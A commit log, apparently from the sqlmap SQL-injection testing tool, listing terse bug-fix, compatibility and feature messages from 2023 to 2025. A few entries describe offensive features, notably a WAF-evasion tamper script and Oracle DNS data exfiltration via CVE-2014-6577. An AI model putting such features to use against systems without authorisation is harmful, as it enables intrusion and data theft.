Miroslav Stampar 866fc5dfac Minor thread-safety fix 2025-12-30 13:37:32 +01:00
Miroslav Stampar 63cecb6480 Minor optimization in HashDB 2025-12-30 13:25:00 +01:00
Miroslav Stampar ea622b829f Fixes latest CI/CD error 2025-12-30 13:05:52 +01:00
Miroslav Stampar 503c7b62bd Some improvements in cachedmethods 2025-12-30 13:04:13 +01:00
Miroslav Stampar 1614084709 Minor improvement 2025-12-30 12:49:26 +01:00
Miroslav Stampar 1330198eab Minor improvements in HashDB 2025-12-30 12:14:32 +01:00
Miroslav Stampar bf2d3a5315 Minor fine tuning 2025-12-30 09:53:26 +01:00
Miroslav Stampar 0e74e43846 Minor update 2025-12-30 02:32:33 +01:00
Miroslav Stampar 201f5e8171 Couple of bug fixes for BigArray 2025-12-30 02:13:35 +01:00
Miroslav Stampar f2560776e9 Minor update 2025-12-29 23:29:39 +01:00
Miroslav Stampar 0a6b5fb747 Minor improvement of common-tables 2025-12-29 22:52:53 +01:00
Miroslav Stampar 3787750275 Minor improvement of smalldict 2025-12-29 21:44:19 +01:00
Miroslav Stampar d1d9c7cac6 Fixes #5998 2025-12-29 15:26:57 +01:00
Miroslav Stampar 8be94b488f Minor Python2 bug fix 2025-12-28 11:26:17 +01:00
Miroslav Stampar c95f67c7e2 Minor improvements 2025-12-28 01:33:15 +01:00
Miroslav Stampar 673a7a5ff8 Minor patches 2025-12-28 01:17:19 +01:00
Miroslav Stampar e4960ce747 Minor patch 2025-12-28 00:58:30 +01:00
Miroslav Stampar 22dc46c926 Minor improvement 2025-12-28 00:55:09 +01:00
Miroslav Stampar 9b3ed89fd6 Minor patch 2025-12-28 00:45:12 +01:00
Miroslav Stampar eb5c1e0aa2 Fixes #5997 2025-12-27 16:33:58 +01:00
Miroslav Stampar d79af7d1ec Dropping mention of Python 2.6 from docus 2025-12-26 00:15:00 +01:00
Miroslav Stampar 2b44aa1fbb Implementing compat function codecs_open 2025-12-26 00:04:31 +01:00
Miroslav Stampar 137687e120 Minor refactoring 2025-12-26 00:03:55 +01:00
Miroslav Stampar 6d49b5a403 Minor update 2025-12-25 22:57:52 +01:00
Miroslav Stampar 868536d466 Minor update 2025-12-25 22:50:00 +01:00
Miroslav Stampar e0ae53091f Minor improvements 2025-12-25 22:35:58 +01:00
Miroslav Stampar bcabe55fc3 Minor optimizations 2025-12-25 22:15:06 +01:00
Miroslav Stampar 7a21109ad0 Bug fix for fingerprinting MySQL 2025-12-25 14:11:57 +01:00
Miroslav Stampar 870e11a38e Minor optimization 2025-12-25 02:52:39 +01:00
Miroslav Stampar 1a7538ae0f Minor patch for Apache Derby 2025-12-25 02:33:56 +01:00
Miroslav Stampar 60d145ab6b Implementing support for v2.x for H2 2025-12-25 01:04:41 +01:00
Miroslav Stampar af8742e882 Minor patch for Firebird 2025-12-24 23:13:52 +01:00
Miroslav Stampar dbf5daf788 Bug fix with special case of reflective values in error-based results 2025-12-24 16:16:51 +01:00
Miroslav Stampar c62dd8511e Fixes #5995 2025-12-23 00:01:41 +01:00
Miroslav Stampar d89a0bb9df Patch for #5994 2025-12-22 12:22:46 +01:00
Miroslav Stampar 09dfa568ae Adding support to sort HTML table dumps by columns 2025-12-05 10:30:13 +01:00
Miroslav Stampar 9c78723a63 Minor patch 2025-12-05 09:03:16 +01:00
Miroslav Stampar 801a431a3a Fixes #5983 2025-12-04 11:37:16 +01:00
Miroslav Stampar f22abb36a3 Fixes #5985 2025-12-02 21:04:05 +01:00
Miroslav Stampar 6d4123c27d Minor update of banner regexes 2025-11-28 13:16:40 +01:00
Miroslav Stampar f44aef3e41 Fixes #5978 2025-11-10 09:40:19 +01:00
Miroslav Stampar 619d53a9e5 Dump patch for #5975 2025-11-07 16:09:27 +01:00
Miroslav Stampar 77a42b3a6f Minor patches 2025-11-06 11:41:35 +01:00
Miroslav Stampar 0599f7c1b6 Minor bug fix 2025-11-06 11:14:13 +01:00
Miroslav Stampar 03be59042f Fixes #5968 2025-10-19 22:02:15 +02:00
Miroslav Stampar 6d914fefe4 Dummy update 2025-10-19 10:46:41 +02:00
JerryJhird 86e4cd55fa fix logic bug (#5967)
The thread-finalization loop used a reversed comparison, causing the
wait loop to be skipped immediately:

this change reverse the comparison so it will wait while there are
active threads and elapsed time is less than the configured
THREAD_FINALIZATION_TIMEOUT:
2025-10-19 10:46:02 +02:00
Miroslav Stampar 3915f9f702 Minor patch 2025-10-19 10:42:39 +02:00
Miroslav Stampar 9a41707ec7 Another fix for wrong number of params 2025-10-17 20:18:48 +02:00
Miroslav Stampar bce338bdff Potential fix for wrong number of params 2025-10-17 16:50:15 +02:00
Miroslav Stampar 5df4c29158 Minor update 2025-10-07 10:48:16 +02:00
Miroslav Stampar 71a12bff64 Minor update of the --gui functionality 2025-09-15 00:03:04 +02:00
Miroslav Stampar f7aa757a9f Minor patch (safer alternative) 2025-09-14 22:23:54 +02:00
Miroslav Stampar f79e774d31 Minor update 2025-09-14 13:25:08 +02:00
mkdemir e87521de11 Fix typos in README_tr.md (#5957) 2025-09-14 13:08:25 +02:00
Miroslav Stampar 43af5008b1 Update of user-agents to fresh entries 2025-09-01 17:30:56 +02:00
Miroslav Stampar cceda39208 Minor update of common outputs 2025-09-01 17:07:38 +02:00
Miroslav Stampar f95b85194b Fixes #5952 2025-08-31 12:50:40 +02:00
Miroslav Stampar d9d9b5eeb7 Implements #5940 2025-08-24 10:32:06 +02:00
Miroslav Stampar 8f75402c3c Fixes #5875 2025-08-19 11:31:57 +02:00
Miroslav Stampar dc89ddcfab Fixes #5942 2025-08-18 12:14:17 +02:00
Miroslav Stampar 59844b1929 Adding switch --http1.0 2025-08-18 11:53:30 +02:00
Miroslav Stampar 99546c77c7 Fixes #5939 2025-08-14 11:05:36 +02:00
Miroslav Stampar 2ecb9c2aa7 Getting rid of the codecs.open (python3.14) 2025-08-11 17:10:31 +02:00
Miroslav Stampar 60049f2ce9 Minor update for python3.14 2025-08-11 16:56:12 +02:00
Miroslav Stampar bfbb5528f3 Minor update 2025-08-11 12:26:11 +02:00
Miroslav Stampar f5b84ffbb3 Minor update 2025-08-11 11:30:42 +02:00
Miroslav Stampar c79b87cb6c Fixes #5936 2025-08-05 14:57:58 +02:00
Miroslav Stampar 1e57a377ad Potentially fixes #5934 2025-07-29 15:51:45 +02:00
Miroslav Stampar 26d0b3b23b Implements support of old OsCommerce hashing 2025-07-26 15:17:55 +02:00
Miroslav Stampar 8241cf6ea1 Adding support for unsalted Django hashes 2025-07-26 13:53:34 +02:00
Miroslav Stampar 48d717d08f Minor improvements 2025-07-26 13:26:03 +02:00
Miroslav Stampar 96650e1c15 Minor improvement 2025-07-26 12:27:36 +02:00
Miroslav Stampar 23b19aa1f3 Minor improvements 2025-07-26 12:21:02 +02:00
Miroslav Stampar 6890048041 Modifying the mechanism to check for --check-internet 2025-07-26 12:13:57 +02:00
Miroslav Stampar bb546015f9 Commit related to the #5864 2025-07-25 13:19:46 +02:00
Sheikh Mohammad Hasan 6bf64bfa88 Create README-bn-BD.md (#5864) 2025-07-25 13:14:55 +02:00
Miroslav Stampar 2ffaaca3d0 Fixes #5929 2025-07-13 23:54:17 +02:00
Miroslav Stampar 12594c2dc7 Nobody is reporting comparison bug, thus, changing behavior 2025-07-11 12:21:20 +02:00
Miroslav Stampar 52e83cdca1 Fixes #5924 2025-07-10 14:09:49 +02:00
Miroslav Stampar c3c1f35b35 Fixes #5926 2025-07-10 13:57:10 +02:00
Miroslav Stampar de10cff3e0 Fixes leakage of sqlmap temporary directories 2025-07-09 23:18:48 +02:00
Miroslav Stampar da65936a3c Minor refactoring 2025-07-09 22:07:24 +02:00
Miroslav Stampar ea892f9d62 Minor refactoring 2025-07-09 20:53:58 +02:00
Miroslav Stampar 71e18a98d2 Minor update of fingerprinting payloads 2025-07-09 20:20:08 +02:00
Miroslav Stampar 466a80b22b Fixes #5921 2025-06-30 21:54:23 +02:00
Miroslav Stampar c25344b799 Fixes #5915 2025-06-27 16:03:15 +02:00
Miroslav Stampar e7fbc2b9db Fixes #5918 2025-06-27 15:26:11 +02:00
Miroslav Stampar b0ac34caf1 Fixes #5919 2025-06-27 15:20:09 +02:00
Miroslav Stampar 0a4cdd7fb3 Fixes #5913 2025-06-22 13:47:48 +02:00
Miroslav Stampar 09c364d58f Fixes #5914 2025-06-22 13:42:14 +02:00
Miroslav Stampar 8f9eeb5d54 Unhide '--disable-stats' (#5912) 2025-06-20 12:34:14 +02:00
Miroslav Stampar 1de66fd7e1 Update regarding the #5911 2025-06-16 12:14:24 +02:00
Miroslav Stampar d4f479e7a8 Minor update for #5910 2025-06-16 11:22:29 +02:00
Nicolas Thumann b8402744fc Use API to check Tor connection (#5910) 2025-06-16 11:16:29 +02:00
Miroslav Stampar 8ad5d8347f Minor patch links 2025-06-12 20:59:07 +02:00
Mohamed Amgad 07d0a60e6c Add Arabic translation (#5845) 2025-06-12 20:57:13 +02:00
Miroslav Stampar e60bd21b08 Fixes #5908 2025-06-12 20:40:34 +02:00
Miroslav Stampar f969dd8825 Dirty patch for #5901 2025-05-21 16:39:05 +02:00
Miroslav Stampar 9ed5652ae2 Fixes #5899 2025-05-14 15:43:33 +02:00
Miroslav Stampar ed9fdbd833 Minor improvement 2025-05-13 14:08:53 +02:00
Miroslav Stampar bbfcf81c25 Minor patching 2025-05-13 13:52:08 +02:00
Miroslav Stampar 5622a261cd Minor optimization 2025-05-13 13:16:37 +02:00
Miroslav Stampar 8fcd78fcb1 Another patch related to #5896 2025-05-09 11:54:09 +02:00
Miroslav Stampar 1d7493d243 Patch for #5897 2025-05-08 23:54:39 +02:00
Miroslav Stampar 709f56d5e1 Minor refreshment of common-columns 2025-05-08 23:22:46 +02:00
Miroslav Stampar 956aeb3c0e Minor refreshment of smalldict 2025-05-08 23:20:54 +02:00
Miroslav Stampar d74405d74a Minor refreshment of smalldict 2025-05-08 23:05:31 +02:00
Miroslav Stampar eef4d27bb1 Replacing Twitter references with X 2025-05-08 22:45:18 +02:00
Miroslav Stampar ad1266a080 Minor style updates 2025-05-08 22:30:54 +02:00
Miroslav Stampar d3d54a965b Removing some dummy whitespace 2025-05-08 22:09:41 +02:00
Miroslav Stampar 48843acbf3 Removing some obsolete files 2025-05-08 22:07:24 +02:00
Miroslav Stampar 7b9af2c3b3 Fixes #5896 2025-05-08 19:55:04 +02:00
Miroslav Stampar e5a80fa99c Final glancing for DM8 (#5894) 2025-05-08 16:16:33 +02:00
Miroslav Stampar aa1eef9fa5 Adding inference support for DM8 (#5894) 2025-05-08 16:03:45 +02:00
Miroslav Stampar 45d5a88150 Adding some initial support for DM8 (#5894) 2025-05-08 15:30:29 +02:00
Miroslav Stampar bee6698807 First commit for DM8 - there were some FPs (#5894) 2025-05-08 15:11:44 +02:00
Miroslav Stampar 08a7d69d4e Another patch related to the #5895 2025-05-08 12:04:37 +02:00
Miroslav Stampar 881c91f687 Fixes #5895 2025-05-08 10:14:13 +02:00
Miroslav Stampar b305a9fcbf Minor update of fingerprint data for MsSQL 2025-05-07 10:55:49 +02:00
Miroslav Stampar c2f0ca314c Minor update of fingerprint data for MySQL 2025-05-07 10:42:51 +02:00
Miroslav Stampar 663ab4a544 Minor update of fingerprinting in H2 and HSQLDB 2025-04-28 16:56:17 +02:00
Miroslav Stampar c8c7feebb0 Fixes #5886 2025-04-05 14:41:45 +02:00
Miroslav Stampar 29825cd5d6 Minor patch 2025-04-01 10:29:33 +02:00
Miroslav Stampar bb725d222c Fixes #5885 2025-04-01 10:26:19 +02:00
Miroslav Stampar 04b293d44f Fix related to #5881 2025-03-28 10:11:43 +01:00
Kenny Strawn 1b4fb3a86d Add luanginxmore tamper script (#5881)
* Add luanginxmore tamper script

POST requests can accept far more parameters than GET requests, so for additional evasion, it's nice to have something capable of overwhelming a WAF with millions of parameters, not just hundreds.

Tested against public bug bounty programs with great success.

* Fix syntax error

Oops, forgot an extra closing parenthesis

* Fix missing imports
2025-03-28 10:09:42 +01:00
Miroslav Stampar 23dda1022d Minor update 2025-03-19 10:16:49 +01:00
Miroslav Stampar 6c108d96a0 Minor update regarding the #5863 2025-03-14 13:59:42 +01:00
Miroslav Stampar 28c838a9f0 Dummy update 2025-03-12 16:01:21 +01:00
Miroslav Stampar a9cae82950 Minor update for the automatic reporting 2025-03-12 16:00:43 +01:00
Miroslav Stampar 772eaa2aee Minor patch 2025-02-26 17:36:02 +01:00
Miroslav Stampar efd5e2b62b Patch related to the #4462 2025-02-26 16:43:59 +01:00
Miroslav Stampar a1fc4da3eb Update of six third-party library 2025-02-21 12:13:05 +01:00
Miroslav Stampar c0ad1092cb Minor patch 2025-02-20 23:57:13 +01:00
Miroslav Stampar ab5d5b3401 Minor update (adding support for silent mode) 2025-02-20 23:50:20 +01:00
Miroslav Stampar d058cc820d Minor fixes for --http2 (#4402) 2025-02-20 23:32:58 +01:00
Miroslav Stampar 327f98aaa3 Implement experimental --http2 (#4402) 2025-02-20 13:03:47 +01:00
Miroslav Stampar fa9dc20c6e Minor update 2025-02-19 14:11:03 +01:00
Miroslav Stampar 25925961ba Fixes #5856 2025-02-18 10:50:50 +01:00
Miroslav Stampar ff249d24c7 Fixes #5857 2025-02-18 10:31:35 +01:00
Miroslav Stampar 4dd98cc8f3 Minor update of fingerprinting methods 2025-02-10 23:17:16 +01:00
Miroslav Stampar f144f10ebe Minor improvement to Set-Cookie detection 2025-02-10 22:59:05 +01:00
Miroslav Stampar 900c9497d9 Minor improvement for _linux_wav_play 2025-02-10 22:47:30 +01:00
Miroslav Stampar 4faaabf795 Minor improvement for _mac_wav_play 2025-02-10 22:42:18 +01:00
Miroslav Stampar d9a5236d8e Update of CHANGELOG 2025-02-10 22:20:56 +01:00
Miroslav Stampar ef10844eab Bump python-version for GitHub tests 2025-02-10 22:06:10 +01:00
Miroslav Stampar 996cc77e30 Dummy commit 2025-02-05 16:28:47 +01:00
Miroslav Stampar 0f9a1c801c Dummy update 2025-01-02 01:12:43 +01:00
Miroslav Stampar fee62ae14c Update of checksums 2025-01-02 01:00:58 +01:00
Miroslav Stampar ed4fc46217 Year bump 2025-01-02 00:51:30 +01:00
Miroslav Stampar b3b462ccf6 Fixes #5828 2024-12-10 22:18:21 +01:00
Miroslav Stampar 1a9fc81fe5 Implements --disable-hashing (#5827) 2024-12-09 10:43:26 +01:00
Miroslav Stampar 7584a67422 Dummy update 2024-12-04 10:03:18 +01:00
tanaydin sirin 2358219631 Fix for Google Hacking Database URL (#5824) 2024-12-04 10:02:17 +01:00
Miroslav Stampar cc245a0d05 Minor patch 2024-11-19 13:25:41 +01:00
Miroslav Stampar 10f8b7d0e2 Fixes #5809 2024-11-19 12:21:23 +01:00
Miroslav Stampar 4b2baa32c3 Fixes #5806 2024-11-16 18:54:15 +01:00
Miroslav Stampar 935afc6217 Minor patching for CI/CD 2024-11-15 18:37:49 +01:00
Miroslav Stampar 07b94ce703 Fixes #5799 2024-11-15 18:31:14 +01:00
Miroslav Stampar 77567da54e Minor patch for DREI 2024-11-15 18:24:59 +01:00
Miroslav Stampar 8b3425ccdf Minor patch (e.g. --sql-query=SELECT 'a','b','c') 2024-11-15 18:18:25 +01:00
Miroslav Stampar 87cd5906f9 Fixes #5805 2024-11-15 17:46:24 +01:00
Miroslav Stampar 8fc166197d Fixes #5802 2024-11-12 20:51:55 +01:00
Miroslav Stampar 7bf9e3e7b4 Another patch for #5798 2024-11-06 12:51:23 +01:00
Miroslav Stampar 282eea3743 Another patch for #5798 2024-11-06 12:06:34 +01:00
Miroslav Stampar 22ddd4e843 Patch for #5798 2024-11-06 11:47:03 +01:00
Miroslav Stampar 5c27dd8204 Patch related to the #2891 2024-10-29 11:19:15 +01:00
Miroslav Stampar 374134e8c0 Minor improvement 2024-10-25 15:47:16 +02:00
Miroslav Stampar db2c6bc546 Trivial update 2024-10-25 11:45:20 +02:00
Miroslav Stampar 9e36fd7484 Update related to the #5784 2024-09-25 13:56:41 +02:00
Miroslav Stampar 944e90dad5 Dummy commit 2024-09-10 14:05:14 +02:00
Trịnh Duy Hưng 66d203e6ff Update Vietnamese translation (#5777) 2024-09-10 14:04:27 +02:00
Miroslav Stampar 51cdc98168 Minor patch related to the #5760 2024-08-26 00:52:18 +02:00
Sore 3d0390b7c6 Create README-ckb-KU.md (#5760)
added kurdish(ckb) translation
2024-08-26 00:50:35 +02:00
Miroslav Stampar bd23ccb507 Patch related to the #5767 2024-08-26 00:46:26 +02:00
Miroslav Stampar 989840c094 Fixes #5763 2024-08-26 00:09:58 +02:00
Miroslav Stampar 8dcf4baeaa Fixes #5772 2024-08-25 23:22:44 +02:00
Miroslav Stampar bf5cddccb9 Trivial update 2024-08-23 14:59:00 +02:00
IRedScarface c955b034ed Update common-tables.txt (#5765) 2024-08-23 14:57:50 +02:00
Miroslav Stampar edb9a15538 Fixes #5761 2024-08-16 09:49:38 +02:00
Miroslav Stampar 8b55644631 Fixes #5759 2024-08-05 17:47:30 +02:00
Miroslav Stampar 238ca3ccd8 Fixes #5755 2024-07-30 09:45:26 +02:00
Miroslav Stampar 526bec322b Dummy update 2024-07-18 14:46:21 +02:00
gthzee d5527b3380 Update README-id-ID.md (#5751) 2024-07-18 14:36:59 +02:00
Miroslav Stampar fde978c4ff Patch for #5746 2024-07-17 16:53:55 +02:00
Miroslav Stampar 1d17e2a942 Dummy update 2024-07-13 10:51:06 +02:00
Miroslav Stampar 79aa315344 Some Python DREI patch 2024-06-29 00:29:03 +02:00
Miroslav Stampar 79f4cfb0a7 Fixes #5738 2024-06-28 23:28:26 +02:00
Miroslav Stampar 3192da0acd Minor patch related to the #5740 2024-06-28 23:10:58 +02:00
Miroslav Stampar d37db2e7e8 Fixing some Python drei stuff 2024-06-27 10:43:35 +02:00
Miroslav Stampar f1ac7dc39b Minor update 2024-06-27 10:17:13 +02:00
Miroslav Stampar 9a87f47777 Trivial updates 2024-06-26 13:21:01 +02:00
Miroslav Stampar a79ed52463 Minor update 2024-06-24 18:22:56 +02:00
Ben Kofman 73a62f9f4e Update option.py (#5736)
auth-type=pki requires auth-file option to pass in a certificate. auth-pki is not a valid option
2024-06-24 18:20:09 +02:00
Miroslav Stampar c1af880fb8 Fixes #5735 2024-06-24 18:19:24 +02:00
Miroslav Stampar 9a48a27593 Patch related to the #4613 2024-06-21 20:46:23 +02:00
Miroslav Stampar 6ae0d0f54e Fixes #5732 2024-06-17 19:03:39 +02:00
Miroslav Stampar cf91046766 Fixes #5731 2024-06-17 18:41:25 +02:00
Miroslav Stampar 0b9a8c57d7 Implements #5728 2024-06-10 10:48:37 +02:00
Miroslav Stampar b256269883 Fixes #5725 2024-06-05 11:24:08 +02:00
Miroslav Stampar ebfafe93e1 Minor cleanup 2024-06-05 10:59:51 +02:00
Miroslav Stampar 2b3af64649 Minor update 2024-06-05 10:38:24 +02:00
Miroslav Stampar 58c6ca3a60 Debugging CI/CD failing 2024-06-05 10:22:05 +02:00
Miroslav Stampar 59b3b973c7 Trivial update 2024-06-05 10:07:17 +02:00
Miroslav Stampar e3669c0926 Patch related to the #5727 2024-06-05 10:06:06 +02:00
Miroslav Stampar 507c719bef Trying python3.12 in CI/CD tests 2024-05-09 18:42:30 +02:00
Miroslav Stampar 3cc19816cc Removing problematic combo from CI/CD testing 2024-05-09 18:30:55 +02:00
Miroslav Stampar 74ca0eda56 Another reduce of python-version 2024-05-09 18:25:11 +02:00
Miroslav Stampar 514a1291e4 Reducing python-version support to fix CI/CD 2024-05-09 18:24:06 +02:00
Miroslav Stampar 9bbf70790c Patch related to the #5700 2024-05-09 16:14:57 +02:00
Miroslav Stampar 163a5f374a Trying to fix the failing CI 2024-04-29 15:51:48 +02:00
Miroslav Stampar 46cc0c2941 Fixes #5698 2024-04-29 15:47:26 +02:00
Miroslav Stampar 2f01cbf71f Patching some resource-related warnings 2024-04-12 18:10:16 +02:00
Miroslav Stampar 1e9e33d9c3 Proper patch for #5688 2024-04-12 17:32:38 +02:00
Miroslav Stampar dce99e0b40 Trivial update 2024-04-12 16:21:32 +02:00
laterlaugh b3896f3f8c chore: remove repetitive words (#5687)
Signed-off-by: laterlaugh <[email protected]>
2024-04-12 16:18:02 +02:00
Miroslav Stampar 853cb3fa06 Minor patch 2024-04-08 10:59:06 +02:00
Miroslav Stampar 5c9a5943e7 Removing some obsolete code 2024-04-08 10:11:36 +02:00
G3G4X5X6 9ddf85ce5a fixed: sqlite3.OperationalError: table logs already exists (#5677)
CREATE TABLE IF NOT EXISTS
2024-04-08 10:05:05 +02:00
Miroslav Stampar 29ccb7f9a3 Patch related to the #5669 2024-03-29 22:24:20 +01:00
Miroslav Stampar e0663ceb6f Patch related to the #4137 2024-03-29 12:23:53 +01:00
Miroslav Stampar d85e09f163 Minor update 2024-03-04 15:39:58 +01:00
Nightsuki 2ba488803a Update: Chinese documents. (#5649)
* Update Chinese documents.

* Revise zh-CN document about RSS

* Update: zh-CN document, keep terminology: commit
2024-03-04 15:28:31 +01:00
Miroslav Stampar 5845cf526b Minor update of code digest logic 2024-03-01 15:07:04 +01:00
Miroslav Stampar 33babc024b Minor update 2024-03-01 15:02:58 +01:00
Miroslav Stampar d892163a86 Renaming Twitter to X 2024-03-01 13:08:03 +01:00
Miroslav Stampar c2988056d9 Minor patch 2024-03-01 13:04:12 +01:00
Miroslav Stampar 576e3dbde8 Minor patch 2024-03-01 13:01:50 +01:00
Miroslav Stampar 9c742753cf Trying more CI/CD debugging 2024-03-01 12:54:15 +01:00
Miroslav Stampar b50e07d03e Debugging CI/CD failure 2024-03-01 12:23:43 +01:00
Miroslav Stampar d2e3eaceaf Minor patch 2024-03-01 12:15:53 +01:00
Miroslav Stampar 1f41f8588b Replacing code integrity with code checksum mechanism 2024-03-01 12:11:47 +01:00
Miroslav Stampar 171ebf2ef6 Update of the checksum validation mechanism 2024-03-01 12:02:04 +01:00
Miroslav Stampar 5a4602a968 Minor update 2024-03-01 11:26:54 +01:00
Miroslav Stampar 8d4a0a2b7b Adding sha256sums.txt to the repo 2024-03-01 11:23:35 +01:00
Miroslav Stampar 626b310e7e Adding support for sha256sum of source files 2024-03-01 11:22:19 +01:00
Miroslav Stampar 76a2e658b5 Adding switch '--unsafe-naming' 2024-02-10 15:24:28 +01:00
Rohit Kumar Ankam 9c1879b08d fixed multipart form handling issue (#5602) (#5603) 2024-02-08 16:09:49 +01:00
Miroslav Stampar ae1bd2136a Update regarding #5618 2024-02-05 12:07:38 +01:00
Miroslav Stampar 305d79846f Fixes #5619 2024-01-31 14:31:22 +01:00
Harabe acd9831917 Update README-pl-PL.md (#5609)
The spelling and grammar errors have been corrected.
2024-01-17 12:06:05 +01:00
Miroslav Stampar 8430d6ba96 Fixing some Python3.12 naggings 2024-01-17 12:03:29 +01:00
Miroslav Stampar 162bafa77d Fixes #5590 2024-01-14 22:57:30 +01:00
Miroslav Stampar 1ce9c8ab94 Implementing #5506 2024-01-11 16:11:40 +01:00
Miroslav Stampar bfe03ef95a Fixes #5601 2024-01-10 17:48:14 +01:00
Miroslav Stampar 27c4e8d29a Patch related to empty multiform-data field value (#5598) 2024-01-09 11:05:26 +01:00
Miroslav Stampar d42187ac47 Revert "Improved Multipart Form handling (#5598)" (#5599)
This reverts commit 93a8828dab.
2024-01-09 09:36:49 +01:00
Rohit Kumar Ankam 93a8828dab Improved Multipart Form handling (#5598)
* improved multipart marker

* Improved file field handling in Multipart forms

* improved dumb LF to CRLF converter
2024-01-09 09:29:20 +01:00
Miroslav Stampar d38d734e6d First year's dev commit 2024-01-03 23:22:44 +01:00
Miroslav Stampar f94ab0f650 Version update 2024-01-03 23:18:35 +01:00
Miroslav Stampar 585a13d89b Version bump 2024-01-03 23:14:31 +01:00
Miroslav Stampar c84f141b89 Bumping copyright year 2024-01-03 23:11:52 +01:00
Anggiramadyansyah 097f236a50 Update: Indonesian documentation. (#5588) 2023-12-27 10:28:20 +01:00
Miroslav Stampar 51908e653c Minor patch related to the #5585 2023-12-22 19:54:08 +01:00
Miroslav Stampar a13c1f2db1 Implements #5585 2023-12-22 17:13:37 +01:00
Miroslav Stampar f176266e58 Minor update 2023-12-14 12:53:49 +01:00
Miroslav Stampar 53b8a9583e Fixes #5581 2023-12-13 14:12:17 +01:00
Miroslav Stampar 6dd383fd72 Minor update for #5229 2023-12-12 14:54:44 +01:00
Miroslav Stampar f24bf55d8f Update related to #5571 2023-12-08 01:29:09 +01:00
Miroslav Stampar c096f870e7 Cleaning some mess with limitQuery 2023-12-03 13:49:45 +01:00
Miroslav Stampar bde7637633 Minor patch 2023-12-03 13:35:18 +01:00
Miroslav Stampar 4acc0178b5 Fix related to #5580 2023-12-03 13:25:43 +01:00
nowhereman de6107cab5 H2 queries to get data use wrong order for LIMIT and OFFSET (#5580) 2023-12-03 13:20:32 +01:00
Miroslav Stampar 29f09e235c Fixes #5576 2023-12-01 11:26:52 +01:00
Miroslav Stampar 67ab79a625 Fixes #5574 2023-11-24 01:39:24 +01:00
Miroslav Stampar de66b69f41 Fixes #5566 2023-11-12 20:38:47 +01:00
Miroslav Stampar acce97bfcb Patch related to the #5567 2023-11-12 20:25:42 +01:00
Miroslav Stampar 124c3902cc Fixes #5565 2023-11-12 20:03:53 +01:00
Miroslav Stampar bb1772c8b8 Fixes #5560 2023-10-31 15:16:15 +01:00
Miroslav Stampar 9d85d3005a Minor update of fingerprinting payloads 2023-10-27 15:17:47 +02:00
Miroslav Stampar 7a6abb56d2 Minor patch 2023-10-22 11:13:17 +02:00
GH05T HUNTER5 e267c8fd57 Update README.md (#5552) 2023-10-22 11:11:50 +02:00
GH05T HUNTER5 57900d899c Create README-in-HI.md (#5551) 2023-10-22 11:11:33 +02:00
Miroslav Stampar 3d244ea9c3 Fixes #5549 2023-10-20 15:24:41 +02:00
Miroslav Stampar 90cbaa1249 Fixes #5539 2023-10-09 11:07:09 +02:00
Miroslav Stampar 1740f6332e Fixes #5536 2023-10-06 19:48:30 +02:00
Miroslav Stampar e0ec2fcdbd Implements option --time-limit (#5502) 2023-09-28 20:34:52 +02:00
Miroslav Stampar c629374858 Fixes #5521 2023-09-07 11:03:01 +02:00
Miroslav Stampar 6caba631a8 Minor patch (#5508) 2023-09-04 18:47:25 +02:00
Miroslav Stampar be118e861c Implements option --union-values (#5508) 2023-09-04 18:34:21 +02:00
Miroslav Stampar 4f2a883544 Update for #5508 2023-08-31 12:22:11 +02:00
Miroslav Stampar 89e8b6e5ce Fixes #5510 2023-08-31 12:16:35 +02:00
Miroslav Stampar 6d472dc2b0 Minor update of SQLite specific payload (#5501) 2023-08-26 16:02:17 +02:00
soka 2f66aa8ac1 Add SQLite AND boolean-based blind payload (#5501) 2023-08-26 15:56:49 +02:00
Miroslav Stampar a7cf68f243 Fixes #5483 2023-08-19 10:24:20 +02:00
Miroslav Stampar ccc38abff6 Dirty patch for #5488 2023-08-19 10:02:29 +02:00
Miroslav Stampar 3e98fabd23 Fixes #5492 2023-08-19 09:41:24 +02:00
Miroslav Stampar b368b4a9f9 Fixes #5493 2023-08-16 12:43:55 +02:00
Miroslav Stampar 2c767d7d1f Patch for #5484 2023-08-15 11:06:28 +02:00
Miroslav Stampar b836c36d68 Potential fix for #5485 2023-08-15 10:58:12 +02:00
Miroslav Stampar 89f9e5b1e0 Fixes #5477 2023-08-05 11:14:45 +02:00
Miroslav Stampar 5ad099c61d Fixes #5479 2023-08-01 11:45:20 +02:00
Miroslav Stampar 21878560ee Fixes #5481 2023-08-01 11:33:13 +02:00
Miroslav Stampar 0d19af8bbc Fixes #5476 2023-07-25 10:45:33 +02:00
Miroslav Stampar 5bd0f20c84 Removing support for lol FORKZ 2023-07-21 10:54:17 +02:00
Miroslav Stampar bb48dd037f Implements #5452 2023-07-06 10:43:43 +02:00
Miroslav Stampar df388b2150 Python2.7 has been removed from Github CI/CD 2023-06-29 15:51:25 +02:00
Miroslav Stampar 66cc6ae55c Fixes #5445 2023-06-29 15:43:38 +02:00
Miroslav Stampar 322d80c0cf Fixes #5444 2023-06-26 16:37:58 +02:00
Miroslav Stampar 1230e57fca Fixes #5434 2023-06-06 11:23:17 +02:00
Miroslav Stampar ee15749ac4 Fixes #5431 2023-06-03 22:49:43 +02:00
Miroslav Stampar 8466a89ed3 Trivial update 2023-06-02 11:32:06 +02:00
Miroslav Stampar acc7b16845 Fixes #5428 2023-06-02 11:25:57 +02:00
Marvin Louisandmarvin 48c967c01d add support to leverage CVE-2014-6577 for Oracle DNS data exfiltration (#5410)
Co-authored-by: marvin <marvin@debian-BULLSEYE-live-builder-AMD64>
2023-05-25 11:27:15 +02:00
Miroslav Stampar d28a66a340 Minor patch of vuln tests 2023-05-22 11:31:01 +02:00
Miroslav Stampar 30b43eccab Minor update for #5423 2023-05-22 11:23:04 +02:00
Miroslav Stampar 290a8e7119 Fixes #5411 2023-05-16 10:59:06 +02:00
Miroslav Stampar cf5e2aa7ef Fixes #5416 2023-05-16 09:48:33 +02:00
Miroslav Stampar 8bc2ace094 Fixes #5409 2023-05-01 09:46:06 +02:00
Sheldon Klassen e1043173d7 Disabled hostname and certificate validation for TLSv1.3 support. (#5395) 2023-04-24 15:06:57 +02:00
Miroslav Stampar 12c472cef5 Fixes #5404 2023-04-24 14:45:19 +02:00
Miroslav Stampar 037a07ddde Fixes #5401 2023-04-19 16:05:23 +02:00
Miroslav Stampar 0e8940b0be Fixes #5402 2023-04-19 15:58:08 +02:00
Miroslav Stampar 3ad6727d0c Potential patch for #5392 2023-04-17 13:35:24 +02:00
Ufuk 4191b06f58 Update README-tr-TR.md (#5393) 2023-04-17 13:23:36 +02:00
Miroslav Stampar 60bb973c11 Update related to #5389 2023-04-11 14:19:39 +02:00
Miroslav Stampar 0fba9b13b3 Fixes #5387 2023-04-07 13:26:52 +02:00
